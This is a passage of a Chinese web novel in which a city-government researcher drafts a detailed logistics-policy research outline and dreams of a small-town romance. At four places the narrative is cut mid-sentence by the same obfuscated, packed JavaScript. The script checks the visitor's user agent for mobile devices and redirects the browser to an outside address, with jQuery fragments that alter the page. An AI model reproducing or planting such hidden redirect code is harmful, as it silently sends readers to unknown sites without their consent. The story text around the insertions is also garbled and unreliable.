“出发！”这小伙儿不耐烦地抬腕看一眼表，快六点了，想心疼人都想疯了，把个时间给忘记了。赶紧收拾两个办公桌上的书籍杂志，轻轻走到办公室门口，站在门框中央，前倾伸头出去楼道左右一看，缩脑袋回来，身子先闪出门外，转身抬手把门把手一抓一拉，当门一边的锁舌触到门框一边上的锁盒时，缓缓地随着一拉，“吧哒”轻响门就锁好了，他不放心，再一拧，拧不动，又一推，推不开，这才确认锁好，放心了。 从自己办公室门口转身，这小伙儿轻手轻脚一路快走三楼一段楼道，从三楼楼梯口盘旋而下，来到一楼门厅，悄悄上前找到自己的那辆自行车，轻轻打开车锁，不弄了大的声响，推车走一楼南边半层楼道，出大楼南侧门，下台阶，东拐骑上自行车而行。 这小伙儿火急火燎，骑着自行车左拐右转就出了单位大院，继续右拐上公路，不到半个小时，就进了县城中心的大街上，眼观六路，前后左右的瞅一下，乘没车没人的空档，从马路右边骑到左边路边，眼前就到了熟悉的食品公司大院，到大门口跳下车，推车而行。 “你好！转这里？！”“你好，我卖了点肉，也出来转这里！？”这小伙儿看见一个人提着一塑料袋的软而发红的东西，是县上单位的一名认识的干部，这小伙儿边推着车走，边与这个人打个照面，宣了一句，这人回答边回答边继续往前走路，这小伙儿也一边继续推着自行车没有停，拐进了这大院里面去了。 这小伙儿停下锁好自行车，走进这美女的家里，蹭完了晚饭，和这美女一块出来，两个人双钻进了同一并平房旁边的“副经理室”里。 这时，天已黑，到了掌灯时分，在这间办公室里，灯也亮了，门也关严了。这小伙儿和这细眉长眼的丹凤眼美女，一见面，一没有旁人，就迅速地粘到了一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497402|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手深情地拉着，攥着，一拉扯，一对青年异性，像磁石一样，两个人就粘一块分不开了，就深情拥抱在了一起。两个人是百抱不烦，百抱不厌，百抱不腻，越抱越爽，越抱越想抱，越抱越爱抱！ 这小伙儿甜蜜幸福的心里，气息急促，那个兴奋，那个激动，那个刺激，就别提了，语言难表！ 这美女的芳心“怦怦怦”跳个不停，心里那甜蜜，那个幸福，那个陶醉，无法形容，无法表达！ 情不自禁，两个年轻男女的两张嘴又对接上了，深情地拥吻在一起，沉醉得一对青年异性睁不开眼睛，难舍难分得的一双情人喘不上气来！ 这小伙儿情不自禁地双手，爱抚着这美女的后背，身躯。这美女也把持不住，磨擦着这小伙儿的身躯，后背。 一会儿，这小伙儿的手，就摸摸索索从这美女的后腰两旁边探了下去，这小伙儿抚摩到……这小伙儿甜蜜幸福得不能再说了…… 这时，这美女只是睁开了眼睛，浑身微微地颤抖了一下，摩擦的手臂停下来不动了，但并没有马上去制止这小伙儿的这一举动。 这小伙儿大胆突破，当两个手掌轻轻的向中间靠近时，这美女，猛然睁开眼睛，两只手臂立刻放开这小伙儿的后背，以迅雷不及掩耳之势，迅速抽回到自己身后下方，“啪”一下就把这小伙儿的双手，从手腕处就逮住了，像捉拿贼人一样。 “哐哐哐！”这时，敲门声响了…… …… 第二天在单位上班时间，达恩豪正坐在自己办公桌的电脑前，编写一份材料，桌上的电话铃响了，接起来一听，是金学盛打来的，让他到主任办公室去一下。 “达处长，有关我们市物流业发展的政策，我们搞个课题研究，课题组成员就以你们经济处为主，我和牛主任也参加上。”金学盛眼睛盯看刚进来坐在对面双人沙发一边的达恩豪，没等达恩豪气喘匀，有点心中发急，眉头紧皱，对面前的下属达恩豪这样说道，给这位下属安排布置了个大任务。 “好啊，金主任。”达恩豪在事先打开的笔记本上，赶紧“唰唰唰”速记了一气，然后听金学盛这样说完了，在等他的回答时，这样来者不拒地痛痛快快地接受任务，心想又是一大材料啊，本人的瞎事又来了，再加上一项，就这样面无表情地回答道。 “你这几天考虑考虑，边思考边写，先弄个提纲，行不行达处长？！”金学盛往自己的扶手沙发椅子后面仰身一靠，眼珠子滴溜溜这么一转，习惯性地把眼镜腿举手一抬，头一偏望向窗外，对达恩豪这么说道。 “好的，金主任，我这就去搞了。”达恩豪这样回答完了，拿上自己的笔记本和一次性碳素笔，出了金学盛的办公室门，走楼道回自己处的办公室。 66. 第 66 章 第六十六章课题提纲 达恩豪开锁进了经济发展研究处办公室房间，坐回到自己的办公桌椅间。点亮眼前的电脑，解锁，关闭了刚才忙乎的那个材料，新建一份文档，开始起草这个新课题的提纲。心想，一个大任务，光提纲就是一篇短一些的文章了。 边思考边编，边写边修改，敲敲打打，加班加点，三四天时间，达恩豪就把这个课题的提纲写好了。打印一份清样稿，送过去给金学盛看了，未作大的修改，表示基本满意，对达恩豪说道：“就先这样吧，先按这个做准备。” 这个课题提纲的具体内容，达恩豪记得是这样的： “滨河物流业发展的政策体系研究 （提纲） 明确物流业的概念。什么是现代物流业。现代物业在当今经济社会发展中的地位和作用。发展物流业的政策体系包括那些内容，为什么要研究物流业发展的政策体系，目的意义何在。 一、我国物流业发展的政策趋势、政策导向、政策分析 （一）国际和国外物流业发展的政策趋向分析（概况简述，简明扼要） （二）改善政策环境是我国物流业自身发展的迫切需要，实现产业发展与产业政策良性互动 （三）转变经济增长方式和产业结构优化升级，期望物流业尽快成长为拉动国民经济发展的新动力 （四）经济持续快速增长的客观惯性和各地政府追求发展的主观“冲动”，支持物流业扩张来推动经济持续增长 （五）经济热点“两个转移”必将推动物流业“质”的提升和“量”的扩张，支持做大做强物流业 （六）支持物流业向社会化与专业化方向发展不遗余力 （七）为物流业规模化与特色化发展不惜动用行政法律手段 （八）积极鼓励国内物流企业产品和服务“走出去”，参与国际社会分工，加速物流市场细分化，提高物流业的国际化程度 （九）确认区域物流集聚与扩散，建设国内大区域物流“区、圈、带”，东中西相互渗透和转移，推动城乡“双向物流”，依靠国外进口的资源型企业由内地向沿海外迁，加强区域间物流合作 （十）支持物流基础设施整合与建设 （十一）扶持关键领域和薄弱环节物流优先发展 （十二）支持物流信息集成化与移动化 （十三）为物流业发展提供工商管理、减免税费、建设用地和融资等优惠政策 （十四）在物流标准化、统计、人才教育培训等行业基础工作上提供全力帮助 （十五）大力发展第三方物流业作为主攻方向 （十六）积极引导发展绿色物流 二、我市物流业发展的政策导向 我市物流业发展的总体思路（5年、10年、15年、20年）。 （一）加强物流业在全市经济社会发展中的地位 1、提高物流业在滨河国内生产总值中的比重 2、增强物流业在全市经济增长在的拉动作用 3、增加物流业在滨河国民经济中的财务税贡献率 4、扩大物流业劳动就业容纳量 5、培育物流业成为增加城乡居民收入的重要渠道 （二）抢抓战略机遇发展滨河物流业 1、国家实施西部大开发战略的机遇 2、青藏铁路开通的机遇 3、商贸中心建设提供的发展基础 4、新亚欧大陆桥建设的机遇 5、我市经济发展实力进一步增强的机遇 （三）充分发挥滨河比较优势和后发优势发展物流业 1、区位交通优势 2、物流基础优势 3、市场供给优势 4、信息服务优势 5、物流需求优势 （四）坚持“科学发展、科学规划、政府指导、政策引导、市场运作”的指导思想 （五）以区域性全国物流中心为发展定位，以跨洲越洋区域性国际物流中心为发展目标 （六）加快整合物流资源，增强物流业聚集辐射带动效应（加强物流集中区的发展建设） （七）积极构建滨河物流产业新体系，培育经济增长新动力 （八）加大对物流基础设施建设扶持力度，强化对物流业的硬件支撑 （九）立足实际，循序渐进，阶段递进，按照供应链理论系统整体化推进滨河物流业发展 （十）坚持大小并举，新旧结合，远近兼顾，批零分开的建设原则 （十一）把改造提升传统物流业与做大做强现代物流业有机结合 （十二）坚持经济、社会、生态效益同步提高，走物流业可持续发展的路子 （十三）以信息化带动物流业，促进物流信息平台建设 （十四）积极培育第三方物流和新型物流业态 （十五）努力提高物流业科技装备，加强物流专业人才引进培养 （十六）强化物流业自律管理，打造物流业信用体系建设 三、东部城区物流基地的激励政策 （一）集中整合全市市场资源，全面推动中心城区市场的改造提升和出城入园 （二）彻底解决主城区市场狭小、布局混乱、管理滞后、影响交通、安全隐患多等一系列问题 （三）把握好整合资源、统一规划；批零分开、出城入园；专业配套、产销结合；依法管理、服务到位；统一配送、现代管理以及设施配套、功能完善六大原则 （四）合理确定搬迁对象，优先考虑一级批发市场和大型生活资源市场，一次规划，分步实施，力争3—5年完成 （五）建立完全市场化运作的经营管理机制（成立管委会、物流开发公司） （六）东部城区物流基地建设土地政策（十条） （七）东部城区物流基地建设税费减免政策（十一条） （八）东部城区物流基地建设搬迁补偿政策（六条） （九）扶持东部城区物流基地建设招商政策（六条） （十）扶持东部城区物流基地建设优惠政策（二条） （十一）扶持东部城区物流基地建设资金保障政策（二条） （十二）搞好协调服务和前期工作（成立专门领导小组） 四、主城区农贸市场建设的政策走向（改造提升）< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504733|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> （一）规划引导，城市建设与社区农贸市场建设相配套 1、市商务管理部门与城建规划部门紧密配合，严把规划建设审批关，没有农贸市场建设规划的开发小区不予审批立项和开工建设 2、坚持便民原则，在城市规划、旧城区改造、新城区建设、新建社区中，按500米半径内预留肉菜市场建设用地或配套社区鲜活农产品超市，居民在10分钟内便可到达市场的规划 3、规划部门在审批小区开发建设规划时，采取增加容积率的办法，将开发时增加的面积置换一半到一楼或地下一层，作为社区肉菜服务网点用房 （二）依法开办的、具有室内或者顶棚等固定经营设施的、经营生鲜农副产品比重不低于90%的场所 （三）对需要改造或者调整的农贸市场进行整合或重建，全面提升档次，使其达到规范要求 （四）主城区域内建成区农贸市场建设应当根据居住人口现状进行配套完善，因地制宜，大、中、小相结合 （五）主城区域内新建住宅小区农贸市场的建设应与小区环境要求相一致，具备一定的规模和档次，着重推行超市化 （六）未来重点建设的新城区，农贸市场的建设应当高标准、高起点，可参照“邻里中心”的模式，使农贸市场完全超市化 （七）新建农贸市场应当坚持超市化的发展方向 1、新建生鲜副食品超市经营生鲜农副产品的比重不得低于90%； 2、经营方式以开架自选为主，由POS系统统一集中收银； 3、具有“放心肉菜”检测点等服务功能，真正做到业态新、环境优、功能全、管理严、价格廉，以适应消费者的需求 （八）实施“净菜工程”，推行净菜市场。进城入市的蔬菜要进行初加工，清洗、摘拣、分包等 （九）农贸市场建设投资必须遵循“谁投资、谁拥有、谁受益”的原则，鼓励社会各类经济主体投资兴办农贸市场；鼓励大型连锁企业开办生鲜副食品超市 （十）市商务局是全市农贸市场建设管理的行政主管部门，负责制定滨河市农贸市场建设发展的专项规划， 1、会同市规划局制定与农贸市场建设相关的建设规划，配合市规划局做好农贸市场的选址工作 2、市建委负责牵头，会同有关部门对新建农贸市场网点建设进行竣工验收。 3、计划、国土、工商、市容、交管、卫生、物价、质量监督等部门根据各自职责，相互支持，密切配合，共同做好农贸市场建设发展规划的组织实施工作。 4、各区县人民政府是农贸市场建设及其管理的责任单位 （十一）加大执法力度，严格农贸市场的监督管理。农贸市场管理应当坚持“属地管理，以区为主”的原则，工商、市容等部门和街道办事处应当继续加大农贸市场的管理力度。市容部门和街道办事处应当按照职责要求，加强市场外部环境的整治工作，坚持日常管理和集中整治相结合，常抓不懈，坚决取缔“马路、露天市场”。市政府对因疏于管理、整治不力，导致“马路市场”出现的区、街道，将给予通报批评，并追究有关部门或者单位的领导责任 67. 第 67 章 第六十七章假日相会 （十二）现有农贸市场一律不得擅自变更或者部分变更经营用途；因特殊原因确需变更或者部分变更用途的农贸市场，必须经市商务局确认，报市政府批准后方可实施；因城市建设需要拆除的农贸市场，必须按规划布点选址要求进行重建 （十三）对违反城市规划和农贸市场建设发展专项规划的农贸市场项目，市计划、建设部门不予办理项目立项手续，市规划部门不予办理建设项目选址意见书、建设用地规划许可证、建设工程规划许可证，市工商局不予办理市场登记证、营业执照等手续 （十四）农贸市场必须定期进行场内设施及设备的维护。经营者每年应当从总收入中提取1.5%以上的资金，用于场内设施的维护和维修，保持良好的购物环境 （十五）为扶持农贸市场的建设发展，市政府每年将拨出一部分专项基金进行扶持。对经验收符合规划标准的新建和改造升级的室内农贸市场，将给予一定的奖励，重点扶持能起龙头示范作用的大型连锁企业在社区建设发展生鲜副食品超市 （十六）达到规范标准的正常经营的农贸市场，其公共用水部分（单独设表）按民用标准收费；新建农贸市场免缴二年集贸市场工商管理费，对下岗职工免缴三年个体工商管理费 （十七）在规划期内新建的农贸市场，免缴市权范围内的城市市政公用基础设施配套费、道路管网费、市权范围内的建房教育地方附加费；对使用新型墙体材料的新建农贸市场全额返还新型墙体材料专项基金；协议受让的农贸市场用地免缴土地出让金的83% （十八）成立市农贸市场建设管理工作领导小组，由市政府分管领导担任组长，市商贸、计划、规划、建设、国土、工商、市容、交管、卫生、物价等部门领导为小组成员。小组下设办公室在市商贸局。领导小组实行例会制度，定期研究全市农贸市场建设管理中的重大事项 （十九）各区县农贸市场建设改造项目，纳入全市国民经济和社会发展奋斗目标管理，作为考核各区县经济工作的一项内容。每年由市商贸、计划、规划、工商等部门联合下达下一年度农贸市场新建和改建的计划。具体目标考核工作和有关扶持政策的办理，由市农贸市场建设管理工作领导小组办公室牵头，会有关部门实施 五、“万村千乡”工程的升级扩容，搞活农村市场 （一）坚持统筹规划，推进城乡市场建设一体化（城乡双向物流） （二）积极开发农村物流新业态，改造提升农村消费品市场（农家店、农村超市、城乡连锁店） （三）加强农村农资市场建设，大力发展农资配送物流业 （四）加强农产品产地市场建设，彻底解决农产品卖难问题（订单农业、农产品进城入户直销） （五）加快农产品质量安全标准化体系建设 （六）促进农产品绿色通道建设 （七）加快培育农村经纪人队伍，为搞活农村物流业提供人才支撑 六、全社会支持发展物流业及服务业的相关政策 （一）大力宣传培育先进物流理念，增强全民发展现代物流业的紧迫感和责任感 （二）积极争取国家“万商西进”工程政策项目资金的扶持 （三）财政扶持发展物流业的优惠政策 （四）支持物流业发展的税收优惠政策 （五）支持物流业发展的工商管理政策 （六）支持物流业发展的运输车辆管理政策 （七）工商企业分离物流业务扶持政策 （八）引进国内外知名物流企业政策 （九）支持物流业发展的通关政策 （十）支持物流业发展的土地优惠政策 （十一）支持物流业发展的融资政策 （十二）物流业引进人才优惠政策 （十三）户籍政策 （十四）政治待遇 （十五）改善发展环境政策 （十六）市级领导联系重大建设项目制度” …… 达恩豪在睡梦中发出了甜甜的微笑…… 星期天，这小伙儿在单位办公室兼宿命休息，不用上班，睡懒觉，也不用吃早饭，起早习惯了，也懒觉睡不长，八点多就起床了。要不是心里有事，去见那个美女，抽时间谈恋爱，也许还能多睡一会儿！ 这小伙儿穿好衣服，收拾叠好被子，放到单人床的一头，被窝靠床头整齐摆放，再把枕头苫端正枕巾，摆放到叠好的被窝卷上，找床刷子把褥子上面苫着的床单上，从左到右，从上到下，从床里往床外，“唰唰唰”使劲扫几下，床上立刻就干净整洁了许多。 这样收拾好床铺后，这小伙儿走到门口，提起地上放的铝壶，往脸盆架上的脸盆里倒水，再提起保温瓶掺进一些热，撸起两只袖口来，把架上的毛巾放到脸盆水里，开始洗脸。 低头双手捧水往脸上浇，脸被热水浸湿了，伸手从洗脸架旁边的香皂盒里，抓出一块水红色皂块，在两手掌间挫一挫，放回香皂盒，两手掌白色的皂水细沫出来了，两手掌往脸颊上挫洗。 这小伙儿空肚子骑着自行车，踏车进了这小县城的最繁华大街道，也是唯一的一条大马路。停车锁好，在街道边一家小吃店，进去吃了个早餐，热气蒸蒸的小笼包子，来上一斤，大米稀饭要上一碗，早饭加午饭，上午的吃饭问题就解决了。 这小伙儿骑着自行车，来到小县城大街道上最中心的商场，兰原县百货公司大楼上转了一圈儿。从三楼再转到一搂，出了百货公司大楼，抬腕看手表，时间正好。 找到百货大楼门前广场上停放的自行车，开锁骑上车，下广场上马路，在马路靠右边骑行，向县城大街的南面奔去。 不一会儿，瞅个空子，无车无人处，横穿这大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511790|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马路而过，这小伙儿把自行车再往南一骑，就到了兰原县医院门口，刚过去就跳下车来。 县医院门南，大街的东边，正好就是兰原县糖酒公司第三门市部，这不是别处，正是这美女服务员的工作地点。 这小伙儿在这家商店前的台阶下，停下支起锁好自行车，装上钥匙跨上台阶，就进了这个门市部。 这时，已是中午十二点了，正好这美女营业员交接班后，下班了，从长长的柜台后面出来了。 “佳，刚换完班下班了？”这小伙儿也不顾接班的营业员笑话，也是个和这美女相仿的女孩子，急了忘记和她打个招呼，再说不认识打招呼也有些唐突，只顾向这美女这样招呼了一句。 “别有事无事就往这儿跑了，同事看见了我不好意思！”这美女一看是这小伙儿，脸唰一下就飞霞了，脸上热耳根烧，稍一镇定后，边往商店门口走，边引着这小伙儿出商店时这样娇嗔道。 “谈恋爱是光明正大的事情，又不是做贼干坏事，你怕什么？！”这小伙儿跟在这美女后面，脸上带上讪讪地笑容，有点厚颜，有些没脸没皮，一边走着一边理直气壮地这样辩解道。 就在这时，达恩豪突然醒来了，睁眼往窗外一看，屋外的天色比较暗，还是灰蒙蒙的一片，时间不迟不早，刚好合适，他赶紧穿衣起床了。 达恩谊叠被收拾床铺，上厕所，洗把脸，泡了杯茶水，喝着茶水，嘴里嚼着馍馍，吃完了早餐，就去走着上班。 提前五分钟，达恩豪已赶到了单位自己的办公室，经济发展研究处的房间里，又泡上一杯茶水，坐到自己那张办公桌和坐椅中间，爬到电脑上开始干活。上班不是下乡出差搞调研，就是写材料，不是出去调研，就是在家写材料。 “叮铃铃！”经济发展研究处里，达恩豪办公桌上的电话铃声突然响起，他赶紧接听电视，是单位领导金学盛打来的电话，让达恩豪到他办公室去一下。 “达处长，你前面写的那个发展物流业课题提纲很不错的。刚才办公室传过来个文件，书记对开展大调研活动特别重视，要求我们要把大调研这个课题上报个课题开展的要求说明，你抓紧时间起草一个，我看一下后上报市委。”金学盛主任高度重视□□的指示，一脸严肃，一本正经，坐在办公桌后面，眼盯着坐在对面双人沙发里作记录的达恩豪，这样安排布置道。 “那是，书记那是在省政府研究室当过‘一把手’，对于搞课题是非常行当的，抓得细还抓到点子上了。我马上去写，一定写好，请主任放心！”达恩豪记录完了领导的话，把一次性碳素黑笔放在打开的笔记本中间的小沟缝里，先眉头一皱，然后习惯性地伸手挠一把自己的头，最后眉毛一挑，这样信誓旦旦地对金学盛打保票道。 达恩豪又花了两天时间，加班加点干，终于又搞了个课题要求说明。共写了7页，大约2500多字，他大致记得，具体内容如下： 68. 第 68 章 第六十八章情侣骑车 “兰州物流业发展的政策体系研究 （研究要求说明） 根据市委市政府大调研的工作格局，本研究课题是市委市政府今年要集中精力开展的一二项重大研究课题之一，列为全市今年的打硬仗项目和我单位的重点工作。我们一定要搞好课题的调研，高质量、高标准、高水平地完成好报告撰写任务，描绘滨河物流业发展的路线图，制订我市物流业发展的中观政策体系，努力提高研究成果的政策性、可操作性、实效性、系统性，重点在课题研究的创新性、针对性、实用性、指导性上下苦功夫，花大气力，做深文章，打造物流业发展政策研究的纲领性文件，力争成为精品研究课题，被市委市政府采纳应用，切实在我市物流业发展中发挥重大的指导作用和意义。 一、我国物流业发展的政策趋势、政策导向、政策分析 研究目标要求：大量收集整理有关我国和国际物流业发展的政策，通过深入分析研究，总结归纳给出我国物流业的若干政策趋势、政策导向，以及目前全国物流业发展的政策体系框架，政策要点概况，政策体系分析。 研究内容提示：1、我国发展国际物流业的政策体系 2、我国物流业政策的区域化、一体化和国际化 3、我国物流业政策法规对各级领导决策的影响 4、我国物流业发展的政策目标定位 5、我国物流产业政策导向和前瞻性 6、我国物流业政策的综合性和系统性 7、我国物流业政策的科学性和透明度 8、我国物流业政策的可操作性和时效性 9、我国物流业政策的反馈调整创新完善机制 10、我国物流业政策效用评估体系 二、我市物流业发展的政策导向 研究目标要求：从我市物流业发展的实际出发，通过深入分析研究，确立我市物流业发展的政策导向，明确我市物流业发展的政策趋势，确定我市物流业发展的政策体系框架，近中远期阶段发展目标，政策目标定位，政策价值取向，政策反馈。 研究内容提示：1、我市物流业发展的现状 2、我市物流业发展的政策体系 3、我市物流业发展的政策趋向 4、我市物流业发展的总体思路 5、我市物流业发展的阶段目标定位 6、我市物流业发展的指标体系 7、如何整合我市物流资源来发展现代物流业 8、怎样构建我市物流产业体系 9、我市物流基础设施建设 10、改造提升我市传统物流业与做大做强现代物流业的政策措施 11、促进我市物流信息化建设的政策研究 12、积极培育我市第三方物流和新型物流业态的扶持政策 13、我市物流市场准入政策 14、我市物流一体化政策 15、我市物流节能环保政策 16、我市物流贸易、监管和安全政策 三、东部城区物流基地的激励政策 研究目标要求：通过深入分析研究，广泛借鉴外地经验，结合我市的实际，理清我市建设东部城区物流基地的政策趋势，确立我市建设东部城区物流基地的政策目标定位，提出我市建设东部城区物流基地的一整套激励政策，完善我市东部城区物流基地政策体系保障措施。 研究内容提示：1、外地城市发展物流基地的激励政策 2、我市建设东部城区物流基地，出城入园整合全市市场资源政策趋向 3、把握好整合资源、统一规划；批零分开、出城入园；专业配套、产销结合；依法管理、服务到位；统一配送、现代管理以及设施配套、功能完善六大原则 4、合理确定搬迁对象，优先考虑一级批发市场和大型生活资源市场，一次规划，分步实施，力争3—5年完成 5、建立完全市场化运作的经营管理机制（成立管委会、物流开发公司） 6、东部城区物流基地建设土地政策、税费减免政策、搬迁补偿政策、招商政策、基地建设优惠政策、资金保障政策等激励政策 7、搞好协调服务和前期工作（成立专门领导小组） 8、5年后东部城区物流基地建设需要修改完善的激励政策 四、主城区农贸市场建设的政策走向（改造提升） 研究目标要求：通过深入分析研究我市主城区农贸市场建设的现状，寻找我市主城区农贸市场建设的政策依据，明确我市主城区农贸市场建设的政策目标定位，确立我市主城区农贸市场建设的路径，提出我市主城区农贸市场改造提升的政策体系。 研究内容提示：1、规划引导，城市建设与社区农贸市场建设相配套 2、整合改造提升主城区农贸市场 3、主城区农贸市场结构布局 4、主城区农贸市场超市化 5、实施“净菜工程” 6、遵循“谁投资、谁拥有、谁受益”的原则，鼓励社会各类经济主体投资兴办农贸市场 7、制定实施滨河市农贸市场建设发展的专项规划 8、加大执法力度，严格农贸市场的监督管理 9、严格管理主城区农贸市场的变更 10、违反城市规划和农贸市场建设发展专项规划处罚政策 11、农贸市场场内设施及设备定期维护的政策措施 12、农贸市场建设专项扶持基金政策 13、农贸市场税费减免优惠政策 五、“万村千乡”工程的升级扩容，搞活农村市场 研究目标要求：通过深入分析研究，摸清我市农村市场建设基本情况，立足我市实施“万村千乡”市场工程建设的实际，确立我市改造提升农村市场的政策目标定位，提出加快实施“万村千乡”市场工程，搞活农村市场的一整套政策措施。 研究内容提示：1、坚持统筹规划，推进城乡市场建设一体化（城乡双向物流） 2、积极开发农村物流新业态，改造提升农村消费品市场（农家店、农村超市、城乡连锁店） 3、加强农村农资市场建设，大力发展农资配送物流业 4、加强农产品产地市场建设，彻底解决农产品卖难问题（订单农业、农产品进城入户直销） 5、加快农产品质量安全标准化体系建设 6、促进农产品绿色通道建设 7、加快培育农村经纪人队伍，为搞活农村物流业提供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528974|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人才支撑 六、全社会支持发展物流业及服务业的相关政策 研究目标要求：通过深入分析研究，立足我市的实际，明确我市物流业及服务业发展的外部环境政策，提出我市全社会支持发展物流业及服务业的一整套相关政策体系，为我市物流业及服务业持续快速健康发展，营造良好的政策环境。 研究内容提示：1、大力宣传培育先进物流理念，增强全民发展现代物流业的紧迫感和责任感 2、积极争取国家“万商西进”工程政策项目资金的扶持 3、扶持发展物流业的财税优惠政策 4、支持物流业发展的土地政策 5、支持物流业发展的工商管理政策 6、支持物流业发展的交通运输管理政策 7、工商企业分离物流业务扶持政策 8、引进国内外知名物流企业政策 9、支持物流业发展的通关政策 10、支持物流业发展的融资政策 11、物流教育和人才政策 12、强化物流业自律管理的政策 13、打造我市物流业信用体系建设的政策 14、物流价格和统计政策 15、户籍政策 16、政治待遇 17、改善发展环境政策（重点是治理“三乱”） 18、市级领导联系重大建设项目制度” 达恩豪走到办公室门口，返身拉上门把手，“哐铛”一向把门锁上，再神经质地拧一下开锁往房间一推，纹丝不动，门锁好了，这样就可以下班走人了。 记得以前的时候，刚从市人大培训中心大楼十八楼搬回市政府大院六楼，有一次，下午下班，他上了个洗手间，可能忘记回来锁门了，好像记得办公室门是锁上了的，就直接回家了。也可能是当时同室的女同事黄兵当时坐着，办公室里还有人，就不管锁门的事了，下班最后走的人会锁门的。 结果好，第二天上班到单位，进了自己经济发展研究处，猛然发现自己办公桌上的电脑不翼而飞了，自己的办公桌上空空无也，自己的办公桌面上中间，只留下了放过电脑的尘土印痕，桌面中部两边的线孔里，只剩下了两三根圆形的馈线和电源线接头朝天扎着。 达恩豪当时就懵了，脑子有点昏，心里有些乱，瘫坐在沙发上，镇定，镇静，开始仔细回忆，理性分析判断起来。今天早上我来上班，明明开门时，门锁是正常关着的，窗户也是关着的，门窗也是完好无损的，这么高的六楼，小偷夜间盗窃，爬不上来呀，再说了门窗和门窗锁子都完好无损，一点被撬的痕迹都没有，看不到失窃被偷的线索。 他突然联想到一件事，听别人聊天闲扯时，曾经说过，我们大楼上某某单位的某某某人，由于下班时忘记锁办公室门了，门开着就回家了。晚上被政府大院巡夜的保安发现了，就进办公室把电脑线拔了，把这电脑屏幕抱到保安室走了，把办公室门给锁上了。第二天，某某某人早上上班，开锁走进自己办公室，发现自己的电脑不见了，辗转找到保守室，昨天晚上值班抱电脑的保安，让某某某上自己单位开介绍信核实身身份后，批评教育某某某人几句，并写了一份检讨书保证以后现不出现类似问题，加强安全管理后，才把自己的电脑领走了。 69. 第 69 章 第六十九章上蓝皮书 这时，同室的女同事黄兵来了，看达恩豪的电脑被政府大院的值班保安抱走了，明白是怎么回事了，就啥话没有说，赶紧跑一楼保安室，再跑六楼单位办公室开介绍信，写检讨书上交，费了半天时间，才把达恩豪的电脑屏幕抱上来，放到达恩豪的办公桌上，交给正想着先写个检讨保证书，再准备到单位办公室开介绍信的达恩豪了手里，这事才算到此为止。 达恩豪一般都不坐电梯，怕花时间等，有等电梯那会时间，他早已从楼梯道下到一楼了。他曾经作过几次试验，悄悄地和坐电梯的单位同事比赛，从六楼到一楼下楼时，他走楼梯比坐电梯的人到达一楼的时间稍迟了一点，从一楼到六楼上楼时，他走楼梯与坐电梯到达六楼的人同时到达。走楼梯还能锻炼身体，防止电梯偶尔坏了被关到里面出不来，所以他没有特殊情况，一般都走楼梯。 走在回家的路上，达恩豪感觉很自豪，趾高气昂的，心里想，自己是全滨河市最高决策实施层—市政府的参谋研究机构，市政府和市长要做事情，许多都是通过他们思考提出，写到文章里，提供给组织和领导采纳运用的，老感觉自己比市长高明，不然也不会给市长出主意想办法，完全是个师爷的角色，“幕后操纵者”，脸上的笑容就显出来了，那么地得意，那么地目空一切，飘飘然起来！ 心里高兴，脚步有劲，很快就回到家里。吃晚饭看完电视，上床休息，又飘飘然就睡去了…… 这小伙儿身处在那个熟悉而陌生的小县城，在兰原县溏酒副食公司第三门市部门前，这县城主街道南端的人行道上。 “佳，请上我的自行车，我把你捎上回家！？”这小伙儿找机会献殷情，手忙脚乱地开锁推上自行车，紧几步跟上去，眼睛笑迷迷地，甜甜地这样邀请这美女道。 “路不远，走着回去最多也就十几分钟。”这美女虽然听了这话一股热流涌上来，心里感觉暖暖的，并不表现出来，但还是表现得有些腼腆，有些害羞，有些不好意思，有些难为情似的，嘴上却这么倔犟地回答道。 “那好，我陪你走一会吧！”这小伙儿幸福地推着单车一辆，跟在这美女身旁，甜蜜地走在这美女的左右，脸上的微笑像开放的花朵一样，对这美女这样说道。 “也好，随你啊！”这美女身微微偏头，细眉长眼瞧一下这小伙儿，一点红的小口，香唇轻启，一边向北面沿人行道一同走，一边微笑着这样说道。 